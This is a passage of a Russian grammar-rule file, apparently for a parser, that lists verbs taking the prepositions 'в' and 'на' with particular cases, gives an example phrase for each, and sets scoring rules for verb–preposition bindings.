rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на 